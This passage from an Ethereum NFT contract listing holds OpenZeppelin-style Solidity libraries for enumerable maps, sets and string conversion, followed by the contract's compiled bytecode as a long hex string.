1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } }
0x6080604052600436106102855760003560e01c8063715018a611610153578063c6ab67a3116100cb578063e985e9c51161007f578063f2fde38b11610064578063f2fde38b14610bcc578063f83d08ba14610bff578063fcfff16f14610c1457610285565b8063e985e9c514610b67578063f19e75d414610ba257610285565b8063cf309012116100b0578063cf30901214610aaf578063e4afbfe714610ac4578063e757223014610b3d57610285565b8063c6ab67a314610a70578063c87b56dd14610a8557610285565b806395d89b4111610122578063a22cb46511610107578063a22cb465146108af578063a9373d94146108ea578063b88d4fde1461099d57610285565b806395d89b411461087d578063a0712d681461089257610285565b8063715018a6146107845780637362377b146107995780637fc6a0ac146107ae5780638da5cb5b1461086857610285565b806331690734116102015780636352211e116101b5578063670023bc1161019a578063670023bc146107125780636c0360eb1461073c57806370a082311461075157610285565b80636352211e146106d357806365477dc0146106fd57610285565b806342842e0e116101e657806342842e0e146105b35780634f6ccce7146105f657806355f804b31461062057610285565b806331690734146104eb57806332cb6b0c1461059e57610285565b8063167ff46f1161025857806323b872dd1161023d57806323b872dd1461044557806329ed3f74146104885780632f745c59146104b257610285565b8063167ff46f1461040957806318160ddd1461041e57610285565b806301ffc9a71461029e57806306fdde03146102fe578063081812fc14610388578063095ea7b3146103ce575b600061029034610c29565b905061029b81610cb6565b50005b3480156102aa57600080fd5b506102ea600480360360208110156102c157600080fd5b50357fffffffff0000000000000000000000000000000000000000000000000000000016610e90565b604080519115158252519081900360200190f35b34801561030a57600080fd5b50610313610ec7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561034d578181015183820152602001610335565b50505050905090810190601f16801561037a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561039457600080fd5b506103b2600480360360208110156103ab57600080fd5b5035610f5d565b604080516001600160a01b039092168252519081900360200190f35b3480156103da57600080fd5b50610407600480360360408110156103f157600080fd5b506001600160a01b038135169060200135610fbf565b005b34801561041557600080fd5b50610407611095565b34801561042a57600080fd5b50610433611118565b60408051918252519081900360200190f35b34801561045157600080fd5b506104076004803603606081101561046857600080fd5b506001600160a01b03813581169160208101359091169060400135611129565b34801561049457600080fd5b50610433600480360360208110156104ab57600080fd5b5035610c29565b3480156104be57600080fd5b50610433600480360360408110156104d557600080fd5b506001600160a01b038135169060200135611180565b3480156104f757600080fd5b506104076004803603602081101561050e57600080fd5b81019060208101813564010000000081111561052957600080fd5b82018360208201111561053b57600080fd5b8035906020019184600183028401116401000000008311171561055d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506111ab945050505050565b3480156105aa57600080fd5b5061043361128e565b3480156105bf57600080fd5b50610407600480360360608110156105d657600080fd5b506001600160a01b03813581169160208101359091169060400135611294565b34801561060257600080fd5b506104336004803603602081101561061957600080fd5b50356112af565b34801561062c57600080fd5b506104076004803603602081101561064357600080fd5b81019060208101813564010000000081111561065e57600080fd5b82018360208201111561067057600080fd5b8035906020019184600183028401116401000000008311171561069257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506112c5945050505050565b3480156106df57600080fd5b506103b2600480360360208110156106f657600080fd5b503561139d565b34801561070957600080fd5b506103136113c5565b34801561071e57600080fd5b506103136004803603602081101561073557600080fd5b5035611453565b34801561074857600080fd5b506103136114be565b34801561075d57600080fd5b506104336004803603602081101561077457600080fd5b50356001600160a01b031661151f565b34801561079057600080fd5b50610407611587565b3480156107a557600080fd5b50610407611652565b3480156107ba57600080fd5b50610407600480360360408110156107d157600080fd5b813591908101906040810160208201356401000000008111156107f357600080fd5b82018360208201111561080557600080fd5b8035906020019184600183028401116401000000008311171561082757600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061172e945050505050565b34801561087457600080fd5b506103b261181c565b34801561088957600080fd5b5061031361182b565b610407600480360360208110156108a857600080fd5b5035610cb6565b3480156108bb57600080fd5b50610407600480360360408110156108d257600080fd5b506001600160a01b038135169060200135151561188c565b3480156108f657600080fd5b506104076004803603602081101561090d57600080fd5b81019060208101813564010000000081111561092857600080fd5b82018360208201111561093a57600080fd5b8035906020019184600183028401116401000000008311171561095c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611991945050505050565b3480156109a957600080fd5b50610407600480360360808110156109c057600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156109fb57600080fd5b820183602082011115610a0d57600080fd5b80359060200191846001830284011164010000000083111715610a2f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611a70945050505050565b348015610a7c57600080fd5b50610313611ac8565b348015610a9157600080fd5b5061031360048036036020811015610aa857600080fd5b5035611ae4565b348015610abb57600080fd5b506102ea611dcd565b348015610ad057600080fd5b50610afd60048036036040811015610ae757600080fd5b506001600160a01b038135169060200135611dd6565b604051828152602081018261018080838360005b83811015610b29578181015183820152602001610b11565b505050509050019250505060405180910390f35b348015610b4957600080fd5b5061043360048036036020811015610b6057600080fd5b5035611e43565b348015610b7357600080fd5b506102ea60048036036040811015610b8a57600080fd5b506001600160a01b0381358116916020013516611e9f565b348015610bae57600080fd5b5061040760048036036020811015610bc557600080fd5b5035611ecd565b348015610bd857600080fd5b5061040760048036036020811015610bef57600080fd5b50356001600160a01b0316611f9f565b348015610c0b57600080fd5b506104076120c0565b348015610c2057600080fd5b506102ea612143565b600080610c34611118565b905060008060005b613a98811015610caa576107d08410610c5e57668e1bc9bf0400009150610c81565b6103e88410610c7657662386f26fc100009150610c81565b6611c37937e0800091505b818610610c9d5794819003946001938401939290920191610ca2565b610caa565b600101610c3c565b5090925050505b919050565b600d5460ff16610d0d576040805162461bcd60e51b815260206004820152601b60248201527f45746865726d6f72652064726f70206e6f74206f70656e207965740000000000604482015290519081900360640190fd5b60008111610d62576040805162461bcd60e51b815260206004820152601b60248201527f5175616e74697479206d757374206265206174206c6561737420310000000000604482015290519081900360640190fd5b6032811115610d6f575060325b613a98610d84610d7d611118565b8390612191565b1115610da157610d9e610d95611118565b613a98906121eb565b90505b6000610dac82611e43565b905080341015610e03576040805162461bcd60e51b815260206004820152601360248201527f4e6f7420656e6f756768204554482073656e7400000000000000000000000000604482015290519081900360640190fd5b60005b82811015610e1f57610e1733612248565b600101610e06565b506000610e2c34836121eb565b90508015610e8b57604051600090339083908381818185875af1925050503d8060008114610e76576040519150601f19603f3d011682016040523d82523d6000602084013e610e7b565b606091505b5050905080610e8957600080fd5b505b505050565b7fffffffff000000000000000000000000000000000000000000000000000000001660009081526001602052604090205460ff1690565b60078054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f535780601f10610f2857610100808354040283529160200191610f53565b820191906000526020600020905b815481529060010190602001808311610f3657829003601f168201915b5050505050905090565b6000610f688261226a565b610fa35760405162461bcd60e51b815260040180806020018281038252602c815260200180613121602c913960400191505060405180910390fd5b506000908152600560205260409020546001600160a01b031690565b6000610fca8261139d565b9050806001600160a01b0316836001600160a01b0316141561101d5760405162461bcd60e51b81526004018080602001828103825260218152602001806131766021913960400191505060405180910390fd5b806001600160a01b031661102f612277565b6001600160a01b0316148061105057506110508161104b612277565b611e9f565b61108b5760405162461bcd60e51b81526004018080602001828103825260388152602001806130746038913960400191505060405180910390fd5b610e8b838361227b565b61109d612277565b6001600160a01b03166110ae61181c565b6001600160a01b031614611109576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600d805460ff19166001179055565b600061112460036122f6565b905090565b61113a611134612277565b82612301565b6111755760405162461bcd60e51b81526004018080602001828103825260318152602001806131b96031913960400191505060405180910390fd5b610e8b8383836123a5565b6001600160a01b03821660009081526002602052604081206111a290836124f1565b90505b92915050565b6111b3612277565b6001600160a01b03166111c461181c565b6001600160a01b03161461121f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60145460ff1615611277576040805162461bcd60e51b815260206004820152601860248201527f436f6e747261637420686173206265656e206c6f636b65640000000000000000604482015290519081900360640190fd5b805161128a90600c906020840190612ea9565b5050565b613a9881565b610e8b83838360405180602001604052806000815250611a70565b6000806112bd6003846124fd565b509392505050565b6112cd612277565b6001600160a01b03166112de61181c565b6001600160a01b031614611339576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60145460ff1615611391576040805162461bcd60e51b815260206004820152601860248201527f436f6e747261637420686173206265656e206c6f636b65640000000000000000604482015290519081900360640190fd5b61139a81612519565b50565b60006111a5826040518060600160405280602981526020016130d6602991396003919061252c565b6013805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561144b5780601f106114205761010080835404028352916020019161144b565b820191906000526020600020905b81548152906001019060200180831161142e57829003601f168201915b505050505081565b600e816005811061146357600080fd5b018054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152935083018282801561144b5780601f106114205761010080835404028352916020019161144b565b600a8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f535780601f10610f2857610100808354040283529160200191610f53565b60006001600160a01b0382166115665760405162461bcd60e51b815260040180806020018281038252602a8152602001806130ac602a913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090206111a5906122f6565b61158f612277565b6001600160a01b03166115a061181c565b6001600160a01b0316146115fb576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b61165a612277565b6001600160a01b031661166b61181c565b6001600160a01b0316146116c6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60006116d061181c565b6040516001600160a01b0391909116904790600081818185875af1925050503d806000811461171b576040519150601f19603f3d011682016040523d82523d6000602084013e611720565b606091505b505090508061139a57600080fd5b611736612277565b6001600160a01b031661174761181c565b6001600160a01b0316146117a2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60145460ff16156117fa576040805162461bcd60e51b815260206004820152601860248201527f436f6e747261637420686173206265656e206c6f636b65640000000000000000604482015290519081900360640190fd5b80600e836005811061180857fe5b019080519060200190610e8b929190612ea9565b6000546001600160a01b031690565b60088054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f535780601f10610f2857610100808354040283529160200191610f53565b611894612277565b6001600160a01b0316826001600160a01b031614156118fa576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b8060066000611907612277565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff19169215159290921790915561194b612277565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b611999612277565b6001600160a01b03166119aa61181c565b6001600160a01b031614611a05576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60145460ff1615611a5d576040805162461bcd60e51b815260206004820152601860248201527f436f6e747261637420686173206265656e206c6f636b65640000000000000000604482015290519081900360640190fd5b805161128a906013906020840190612ea9565b611a81611a7b612277565b83612301565b611abc5760405162461bcd60e51b81526004018080602001828103825260318152602001806131b96031913960400191505060405180910390fd5b610e8984848484612539565b6040518060600160405280604081526020016130346040913981565b6060600082118015611afd5750611af9611118565b8211155b611b4e576040805162461bcd60e51b815260206004820152601f60248201527f55524920717565727920666f72206e6f6e6578697374656e7420746f6b656e00604482015290519081900360640190fd5b60006107d0831115611b6257506002611b78565b6103e8831115611b7457506001611b78565b5060005b6000600e8260058110611b8757fe5b0154600260001961010060018416150201909116041115611d0557600c600e8260058110611bb157fe5b01611bbb8561258b565b6040516020018084805460018160011615610100020316600290048015611c195780601f10611bf7576101008083540402835291820191611c19565b820191906000526020600020905b815481529060010190602001808311611c05575b505083805460018160011615610100020316600290048015611c725780601f10611c50576101008083540402835291820191611c72565b820191906000526020600020905b815481529060010190602001808311611c5e575b5050807f2f0000000000000000000000000000000000000000000000000000000000000081525060010182805190602001908083835b60208310611cc75780518252601f199092019160209182019101611ca8565b6001836020036101000a0380198251168184511680821785525050505050509050019350505050604051602081830303815290604052915050610cb1565b611d0d6114be565b611d168461258b565b6040516020018083805190602001908083835b60208310611d485780518252601f199092019160209182019101611d29565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310611d905780518252601f199092019160209182019101611d71565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052915050919050565b60145460ff1681565b6000611de0612f35565b611de98461151f565b9150600c830280831115611e3b57600c818403811115611e0857508083035b60005b81811015611e3857611e1f87828501611180565b8482600c8110611e2b57fe5b6020020152600101611e0b565b50505b509250929050565b6000613a98821115611e5457600080fd5b6000611e5e611118565b90506000805b848110156112bd576107d08310611e8657668e1bc9bf04000082019150611e93565b662386f26fc10000820191505b60019283019201611e64565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b611ed5612277565b6001600160a01b0316611ee661181c565b6001600160a01b031614611f41576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600d5460ff1615611f835760405162461bcd60e51b81526004018080602001828103825260228152602001806131976022913960400191505060405180910390fd5b60005b8181101561128a57611f9733612248565b600101611f86565b611fa7612277565b6001600160a01b0316611fb861181c565b6001600160a01b031614612013576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166120585760405162461bcd60e51b8152600401808060200182810382526026815260200180612fbe6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6120c8612277565b6001600160a01b03166120d961181c565b6001600160a01b031614612134576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6014805460ff19166001179055565b600d5460ff1681565b80546001019055565b5490565b60006111a2838361269a565b600061217b84846001600160a01b0385166126e4565b90505b9392505050565b60006111a2838361277b565b6000828201838110156111a2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115612242576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b612252600b61214c565b600061225e600b612155565b905061128a8282612793565b60006111a5600383612185565b3390565b6000818152600560205260409020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915581906122bd8261139d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006111a582612155565b600061230c8261226a565b6123475760405162461bcd60e51b815260040180806020018281038252602c815260200180613008602c913960400191505060405180910390fd5b60006123528361139d565b9050806001600160a01b0316846001600160a01b0316148061238d5750836001600160a01b031661238284610f5d565b6001600160a01b0316145b8061239d575061239d8185611e9f565b949350505050565b826001600160a01b03166123b88261139d565b6001600160a01b0316146123fd5760405162461bcd60e51b815260040180806020018281038252602981526020018061314d6029913960400191505060405180910390fd5b6001600160a01b0382166124425760405162461bcd60e51b8152600401808060200182810382526024815260200180612fe46024913960400191505060405180910390fd5b61244d838383610e8b565b61245860008261227b565b6001600160a01b038316600090815260026020526040902061247a90826128c1565b506001600160a01b038216600090815260026020526040902061249d9082612159565b506124aa60038284612165565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006111a283836128cd565b600080808061250c8686612931565b9097909650945050505050565b805161128a90600a906020840190612ea9565b600061217b8484846129ac565b6125448484846123a5565b61255084848484612a76565b610e895760405162461bcd60e51b8152600401808060200182810382526032815260200180612f8c6032913960400191505060405180910390fd5b6060816125cc575060408051808201909152600181527f30000000000000000000000000000000000000000000000000000000000000006020820152610cb1565b8160005b81156125e457600101600a820491506125d0565b60008167ffffffffffffffff811180156125fd57600080fd5b506040519080825280601f01601f191660200182016040528015612628576020820181803683370190505b50859350905060001982015b831561269157600a840660300160f81b8282806001900393508151811061265757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a84049350612634565b50949350505050565b60006126a6838361277b565b6126dc575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556111a5565b5060006111a5565b60008281526001840160205260408120548061274957505060408051808201825283815260208082018481528654600181810189556000898152848120955160029093029095019182559151908201558654868452818801909252929091205561217e565b8285600001600183038154811061275c57fe5b906000526020600020906002020160010181905550600091505061217e565b60009081526001919091016020526040902054151590565b6001600160a01b0382166127ee576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b6127f78161226a565b15612849576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b61285560008383610e8b565b6001600160a01b03821660009081526002602052604090206128779082612159565b5061288460038284612165565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006111a28383612c52565b8154600090821061290f5760405162461bcd60e51b8152600401808060200182810382526022815260200180612f6a6022913960400191505060405180910390fd5b82600001828154811061291e57fe5b9060005260206000200154905092915050565b8154600090819083106129755760405162461bcd60e51b81526004018080602001828103825260228152602001806130ff6022913960400191505060405180910390fd5b600084600001848154811061298657fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281612a475760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a0c5781810151838201526020016129f4565b50505050905090810190601f168015612a395780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110612a5a57fe5b9060005260206000209060020201600101549150509392505050565b6000612a8a846001600160a01b0316612d18565b612a965750600161239d565b6000612be77f150b7a0200000000000000000000000000000000000000000000000000000000612ac4612277565b88878760405160240180856001600160a01b03168152602001846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612b2b578181015183820152602001612b13565b50505050905090810190601f168015612b585780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001612f8c603291396001600160a01b0388169190612d1e565b90506000818060200190516020811015612c0057600080fd5b50517fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001492505050949350505050565b60008181526001830160205260408120548015612d0e5783546000198083019190810190600090879083908110612c8557fe5b9060005260206000200154905080876000018481548110612ca257fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080612cd257fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506111a5565b60009150506111a5565b3b151590565b606061217b848460008585612d3285612d18565b612d83576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b60208310612dc15780518252601f199092019160209182019101612da2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612e23576040519150601f19603f3d011682016040523d82523d6000602084013e612e28565b606091505b5091509150612e38828286612e43565b979650505050505050565b60608315612e5257508161217e565b825115612e625782518084602001fd5b60405162461bcd60e51b8152602060048201818152845160248401528451859391928392604401919085019080838360008315612a0c5781810151838201526020016129f4565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282612edf5760008555612f25565b82601f10612ef857805160ff1916838001178555612f25565b82800160010185558215612f25579182015b82811115612f25578251825591602001919060010190612f0a565b50612f31929150612f54565b5090565b604051806101800160405280600c906020820280368337509192915050565b5b80821115612f315760008155600101612f5556fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f